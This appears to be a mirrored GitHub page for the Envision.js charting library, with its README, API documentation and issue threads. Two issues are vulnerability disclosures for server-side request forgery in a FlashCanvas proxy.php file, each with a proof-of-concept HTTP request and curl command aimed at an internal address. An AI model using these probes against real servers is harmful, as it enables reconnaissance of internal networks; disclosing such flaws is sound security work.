Giter VIP home page Giter VIP logo

envisionjs's Introduction

Envision.js


Fast interactive HTML5 charts.

Google Groups

http://groups.google.com/group/envisionjs/

Features

  • Modern Browsers, IE 6+
  • Mobile / Touch Support
  • Pre-built Templates
  • Adaptable to Existing Libraries

Dependencies

Envision.js ships with all it's dependencies. It uses:

Usage

To use Envision.js, include envision.min.js and envision.min.css in your page. To display a visualization, either use a Template or create a custom visualization with the Envision.js API.

Templates

Templates are pre-built visualizations for common use-cases.

Example:

  var
    container = document.getElementById('container'),
    x = [],
    y1 = [],
    y2 = [],
    data, options, i;

  // Data Format:
  data = [
    [x, y1], // First Series
    [x, y2]  // Second Series
  ];

  // Sample the sine function for data
  for (i = 0; i < 4 * Math.PI; i += 0.05) {
    x.push(i);
    y1.push(Math.sin(i));
    y2.push(Math.sin(i + Math.PI));
  }

  // TimeSeries Template Options
  options = {
    // Container to render inside of
    container : container,
    // Data for detail (top chart) and summary (bottom chart)
    data : {
      detail : data,
      summary : data
    }
  };

  // Create the TimeSeries
  new envision.templates.TimeSeries(options);

Custom

Developers can use the envision APIs to build custom visualizations. The existing templates are a good reference for this.

Example:

  var
    container = document.getElementById('container'),
    x = [],
    y1 = [],
    y2 = [],
    data, i,
    detail, detailOptions,
    summary, summaryOptions,
    vis, selection,

  // Data Format:
  data = [
    [x, y1], // First Series
    [x, y2]  // Second Series
  ];

  // Sample the sine function for data
  for (i = 0; i < 4 * Math.PI; i += 0.05) {
    x.push(i);
    y1.push(Math.sin(i));
    y2.push(Math.sin(i + Math.PI));
  }
  x.push(4 * Math.PI)
  y1.push(Math.sin(4 * Math.PI));
  y2.push(Math.sin(4 * Math.PI));

  // Configuration for detail:
  detailOptions = {
    name : 'detail',
    data : data,
    height : 150,
    flotr : {
      yaxis : {
        min : -1.1,
        max : 1.1
      }
    }
  };

  // Configuration for summary:
  summaryOptions = {
    name : 'summary',
    data : data,
    height : 150,
    flotr : {
      yaxis : {
        min : -1.1,
        max : 1.1
      },
      selection : {
        mode : 'x'
      }
    }
  };

  // Building a custom vis:
  vis = new envision.Visualization();
  detail = new envision.Component(detailOptions);
  summary = new envision.Component(summaryOptions);
  interaction = new envision.Interaction();

  // Render Visualization
  vis
    .add(detail)
    .add(summary)
    .render(container);

  // Wireup Interaction
  interaction
    .leader(summary)
    .follower(detail)
    .add(envision.actions.selection);

API

Class envision.Component

Defines a visualization component.

Components are the building blocks of a visualization, representing one typically graphical piece of the vis. This class manages the options, DOM and API construction for an adapter which handles the actual drawing of the visualization piece.

Adapters can take the form of an actual object, a constructor function or a function returning an object. Only one of these will be used. If none is submitted, the default adapter Flotr2 is used.

Configuration:

An object is submitted to the constructor for configuration.

  • name A name for the component.
  • element A container element for the component.
  • height An explicit component height.
  • width An explicit component width.
  • data An array of data. Data may be formatted for envision or for the adapter itself, in which case skipPreprocess will also need to be submitted.
  • skipPreprocess Skip data preprocessing. This is useful when using the native data format for an adapter.
  • adapter An adapter object.
  • adapterConstructor An adapter constructor to be instantiated by the component.
  • adapterCallback An callback invoked by the component returning an adapter.
  • config Configuration for the adapter.

Methods:

render ([element])

Render the component.

If no element is submitted, the component will render in the element configured in the constructor.

draw ([data], [options])

Draw the component.

trigger ()

Trigger an event on the component's API.

Arguments are passed through to the API.

attach ()

Attach to an event on the component's API.

Arguments are passed through to the API.

detach ()

Detach a listener from an event on the component's API.

Arguments are passed through to the API.

destroy ()

Destroy the component.

Empties the container and calls the destroy method on the component's API.

Class envision.Visualization

Defines a visualization of componenents.

This class manages the rendering of a visualization. It provides convenience methods for adding, removing, and reordered components dynamically as well as convenience methods for working with a logical group of components.

Configuration:

An object is submitted to the constructor for configuration.

  • name A name for the visualization.
  • element A container element for the visualization.

Methods:

render ([element])

Render the visualization.

If no element is submitted, the visualization will render in the element configured in the constructor.

This method is chainable.

add (component)

Add a component to the visualization.

If the visualization has already been rendered, it will render the new component.

This method is chainable.

remove ()

Remove a component from the visualization.

This removes the components from the list of components in the visualization and removes its container from the DOM. It does not destroy the component.

This method is chainable.

setPosition (component, newIndex)

Reorders a component.

This method is chainable.

indexOf (component)

Gets the position of a component.

getComponent (component)

Gets the component at a position.

isFirst (component)

Gets whether or not the component is the first component in the visualization.

isLast (component)

Gets whether or not the component is the last component in the visualization.

destroy ()

Destroys the visualization.

This empties the container and destroys all the components which are part of the visualization.

Class envision.Preprocessor

Data preprocessor.

Data can be preprocessed before it is rendered by an adapter.

This has several important performance considerations. If data will be rendered repeatedly or on slower browsers, it will be faster after being optimized.

First, data outside the boundaries does not need to be rendered. Second, the resolution of the data only needs to be at most the number of pixels in the width of the visualization.

Performing these optimizations will limit memory overhead, important for garbage collection and performance on old browsers, as well as drawing overhead, important for mobile devices, old browsers and large data sets.

Configuration:

An object is submitted to the constructor for configuration.

  • data The data for processing.

Methods:

getData ()

Returns data.

setData ()

Set the data object.

length ()

Returns the length of the data set.

bound (min, max)

Bounds the data set at within a range.

subsampleMinMax (resolution)

Subsample data using MinMax.

MinMax will display the extrema of the subsample intervals. This is slower than regular interval subsampling but necessary for data that is very non-homogenous.

subsample (resolution)

Subsample data at a regular interval for resolution.

This is the fastest subsampling and good for monotonic data and fairly homogenous data (not a lot of up and down).

Class envision.Interaction

Defines an interaction between components.

This class defines interactions in which actions are triggered by leader components and reacted to by follower components. These actions are defined as configurable mappings of trigger events and event consumers. It is up to the adapter to implement the triggers and consumers.

A component may be both a leader and a follower. A leader which is a follower will react to actions triggered by other leaders, but will safely not react to its own. This allows for groups of components to perform a common action.

Optionally, actions may be supplied with a callback executed before the action is consumed. This allows for quick custom functionality to be added and is how advanced data management (ie. live Ajax data) may be implemented.

This class follow an observer mediator pattern.

Configuration:

An object is submitted to the constructor for configuration.

  • leader Component(s) to lead the interaction

Methods:

leader (component)

Add a component as an interaction leader.

follower (component)

Add a component as an interaction leader.

group (components)

Adds an array of components as both followers and leaders.

add (action, [options])

Adds an action to the interaction.

The action may be optionally configured with the options argument. Currently the accepts a callback member, invoked after an action is triggered and before it is consumed by followers.

Development

This project uses smoosh to build and jasmine with js-imagediff to test. Tests may be executed by jasmine-headless-webkit with cd spec; jasmine-headless-webkit -j jasmine.yml -c or by a browser by navigating to spec/SpecRunner.html.

envisionjs's People

Contributors

boorad avatar cesutherland avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

envisionjs's Issues

a small issue while showing two data series

Thanks for your great work on envisionjs!

While using envisionjs I found a small issue while showing two data series:

<script>
    $().ready(function() {
        var xA = [], xB = [],
            dataA = [],
            dataB = [],
            data = [[xA, dataA], [xB, dataB]],
            options, timesries;


        for( var i=0; i<100; ++i ) {
            xA[i] = i+50;
            dataA[i] = Math.floor(Math.random()*10);
        }


        for( var i=0; i<200; ++i ) {
            xB[i] = i;
            dataB[i] = Math.floor(Math.random()*10);
        }

        // Envision Timeseries Options
        options = {
            container: $("#graph"),

            data: {
                detail: data,
                summary: data
            },

            defaults: {
                summary: {
                    config: {
                        handles: { show: true }
                    }
                }
            }
        };

        // Render the timeseries
        timeseries = new envision.templates.TimeSeries(options);
    });
</script>

The detail view show nothing if the selection in summary view moves to the right side of xA (the shorter data series). I expect that xB should be still visible.

Browser crash - Too many ticks added when min and max are of similar values

The problem exists on line 7230 in envision.js in the extendYRange function.

As an example, two values of min and max are compared... let's use:

o min = 18.0001530072
o max = 18.0001530082

Let's use 2 for our line width and we get this:

o range = (max-min) //1.000000082740371e-9
o max += 2 * 0.01 //18.0201530082
o min -= 2*0.01 //17.980153007200002
o newRange = (min-max) //0.04000000099999923
o newRange / range //39999997.69038458

As shown above, 39999997.69038458 is the number of ticks that will be added to Y Axis. This causes the browser to freeze and crash.

Function in question:

extendYRange : function (axis, data, options, lines) {

var o = axis.options;

// HACK
if ((!o.max && o.max !== 0) || (!o.min && o.min !== 0)) {
  axis.max += options.lineWidth * 0.01;
  axis.min -= options.lineWidth * 0.01;
  /*
  axis.max = axis.p2d((axis.d2p(axis.max) + options.lineWidth));
  axis.min = axis.p2d((axis.d2p(axis.max) - options.lineWidth));
  */
}

}
});

I have modified this in my code base to resolve the issue for myself. I am now scaling the tick size with the axis range:

// HACK
var numTicks = (axis.max-axis.min)/axis.tickSize;
if ((!o.max && o.max !== 0) || (!o.min && o.min !== 0)) {
axis.max += options.lineWidth * 0.01;
axis.min -= options.lineWidth * 0.01;

//JMM: Added this because increasing the min/max when numbers with very little difference between min and max (e.g 1e-9) meant that the size of the adjustment above caused millions of ticks to be generated. So, we need to scale the tick size with the axis range.
if((axis.max - axis.min)/axis.tickSize > numTicks)
{
axis.tickSize = (axis.max-axis.min)/numTicks;
}
/*
axis.max = axis.p2d((axis.d2p(axis.max) + options.lineWidth));
axis.min = axis.p2d((axis.d2p(axis.max) - options.lineWidth));
*/
}
}
});

This is what I did to fix this, but am not sure if this is a good general solution since I am not sure why the range is being extended in the first place.

Thanks!
-Jacqui

Realtime chart range selection problem

Hi,
First of all, awesome tool. I've tried Highcharts and D3 but they have performance problems as they are svg library. So this is perfect alternative.

The problem is I can't select a range when the chart is realtime. I've recorded a 15 secs video and linked below.
Note: (Red circles represents mousedown event)

video link

Edit:
youtube link

Hability to make realtime graphs

Howdy! Currently I'm working in a kind of dashboard with data which is changing constantly, in other words, changing in realtime. I was reading through your docs and I didn't found anything about this topic, so what is the status of envision to make realtime graphs. Or what's the way to make a envision graph more faster in every data change. Asuming new data every 2 secs.

Cheers.

Add markers to the graphs

One cool thing in flotr2 is how you can mark graphs using the marker graph. The marker type is not included in envision, but you can include it by hand. But the main problem is that you can not show two graphs at the same time in a container, like it is done in the advanced markers example.

I have concluded that it is need to add support for this in Component "draw : function (data, config)". Any idea about how to implement it will help in my development.

Cheers

Graph with candles

Hello,

I am trying to do a graph similar to the Finance one, but with candles for the price.
I added the Flotr2 candle adapter, and it is almost working.
I think the remaining problem is the calculation of the min and max.
subsampleMinMax uses y[j], to compute the min & max, but in the case of candles, y is an array : [open,high,low,close].
Is there an easy way to fix this ?

Thank you.

Handling of null data

I am using a Timeseries graph displaying data that is written to the graph using AJAX responses.

Unfortunately it would appear that null data is not always handled correctly, the initial view of the graph (detail and summary) shows joins between points spanning null's.

I have tried using the skipPreprocess flag but it would appear that in order for this to be of use the data must be translated into the flotr-format, with it enabled our graph shows no traces.

[Vuln] SSRF vulnerability in `curl_init` Function of `proxy.php` File (Envision.js latest version)

Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.

Impact version: latest
Test with PHP 7.2

The vulnerable code is located in the curl_init function of the lib/FlashCanvas/bin/proxy.php file, which does not perform sufficient checksumming of the url parameter, leading to a taint introduced from the $_GET['url'] variable and eventually into the tainted function curl_init, where the curl_ exec function is executed, it sends a request to the URL specified by the url parameter, eventually leading to an SSRF vulnerability.

......
$url = str_replace($search, $replace, $_GET['url']);

// Disable compression
header('Content-Encoding: none');

// Load and output the file
if (extension_loaded('curl')) {
    // Use cURL extension
    $ch = curl_init($url);
    curl_exec($ch);
    curl_close($ch);
......

Because the url parameter is unrestricted, it is also possible to use the server side to send requests, such as probing intranet web services. The corresponding PoC is as follows

GET /proxy.php?url=http://172.16.119.1/proxypoc HTTP/1.1
Host: 172.16.119.1:81
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Referer: #/flash123canvas.swf
Connection: close

You can also use the following curl command to verify the vulnerability

curl -i -s -k -X $'GET' \
    -H $'Host: 172.16.119.1:81' -H $'Referer: #/flash123canvas.swf' -H $'Connection: close' \
    $'http://172.16.119.1:81/proxy.php?url=http://172.16.119.1/proxypoc'

image

Mobile Screen Resolution

CSS currently supports device viewport resolution but the canvas element should render respecting the screen resolution. Use screen.width and screen.height to get the proper resolution.

Bug: Multiple time series, different time stamps, rendering error

I have based my project on the finance template. I have two data sources, which sample at independent rates (although both at regular intervals). When visualised as separation component, everything is displayed correctly (see image 1). However, using the zooming interaction on any section of the graph results in the display of the two data sources incorrectly: the data is out-of-sync, or staggered with respect to each other (see image 2).
I will create a temporary solution by interpolating the values, and displaying using the same set of time stamps, but a fix for this problem would be nice.
Amazing software library by the way.
im1
im2

When xaxis mode : time, mousetracker displays milliseconds, not converted time stamp.

So the mode : time setting for the axis takes the inputs of the array representing time x-axis, assumes they are miliseconds, and converts them into a timestamp for the xaxis ticks. However, with the mousetrack feature which hovers over graph and prints x,y values of closest datapoint to cursor, the number of miliseconds, not the time stamp is displayed, so the x,y coordinate values are not consistent with the corresponding readings along the X and Y axis - how would I fix it so mousetrack output reflects the timestamp?

BUG: selection callback does not work with TimeSeries template

I want to set a selection callback function (this feature is used in the ajax example) for a chart, based on TimeSeries template but I'm sure that only Finance template supports that function. The problem is that other templates do not have this code:

function Finance (options) {
  // ...
  selection
  // ...
    .add(V.actions.selection, options.selectionCallback ? { callback : options.selectionCallback } : null);
  // ...
})();

Impossible to select the entire summary?

For a summary of width 848, a reset (click) in the selection area will give a selection object of: max: 848.0000000000001.

However, dragging the mouse in the selection area will only give a selection of max 846.9999999999826, thus never entirely selecting the entire data set.
A selection trigger seems to give the same result: can't get up to 848.0000000000001.

Finance: Is there a way to show lines of differing height at different Y points?

I'm looking to show a chart very similar to this: http://i.imgur.com/DaJcO68.png

Where each line has a low and high point, and also a separate Y value from the other lines (i.e. the Y is the low point, then the high determines the height of the bar above the Y point). Right now I'm not worried about showing open/close price or even the low/high price per se (though it would be nice), I am mainly interested in just getting the different Y lines onto the screen.

Is this currently possible?

EDIT: I checked Google Charts API and it seems "candlestick chart" is very similar to the type of output I am looking for (https://developers.google.com/chart/interactive/docs/gallery/candlestickchart).

Move Preprocessing to Component

Preprocessing should be available across components and applied when data conditions are met. Currently it is sitting in the Flotr adapter.

[Vuln] SSRF vulnerability in `readile` Function of `proxy.php` File (Envision.js latest version)

Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.

Impact version: latest
Test with PHP 7.2

The vulnerable code is located in the readfile function of the lib/FlashCanvas/bin/proxy.php file, which does not perform sufficient checksumming of the url parameter, resulting in a taint introduced from the $_GET['url'] variable, and When the extension_loaded('curl') condition is not met, it enters the taint function readfile, which then sends a request to the URL specified by the url parameter, eventually leading to an SSRF vulnerability.

......
$url = str_replace($search, $replace, $_GET['url']);

// Disable compression
header('Content-Encoding: none');

// Load and output the file
if (extension_loaded('curl')) {
    // Use cURL extension
    $ch = curl_init($url);
    curl_exec($ch);
    curl_close($ch);
} else {
    // Use the http:// wrapper
    readfile($url);
}
......

Because the url parameter is unrestricted, it is also possible to use the server-side to send requests, such as probing intranet web services. The corresponding PoC is as follows

GET /proxy.php?url=http://172.16.119.1/proxypoc HTTP/1.1
Host: 172.16.119.1
Referer: #/flash123canvas.swf
Connection: close

You can also use the following curl command to verify the vulnerability

curl -i -s -k -X $'GET' \
    -H $'Host: 172.16.119.1:81' -H $'Referer: #/flash123canvas.swf' -H $'Connection: close' \
    $'http://172.16.119.1:81/proxy.php?url=http://172.16.119.1/readfilepoc'

image

What is the EoS/EoM/EoL?

Hi Team,

What is the EoS/EoM/EoL for v20130515 or from when this 3PP has been marked EoS/EoM/EoL?
We need to update this date in our documents.

Regards,
Sahil

Annotation Feature?

Hi there, a quick question on if there'll be graph annotation feature in future release?

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.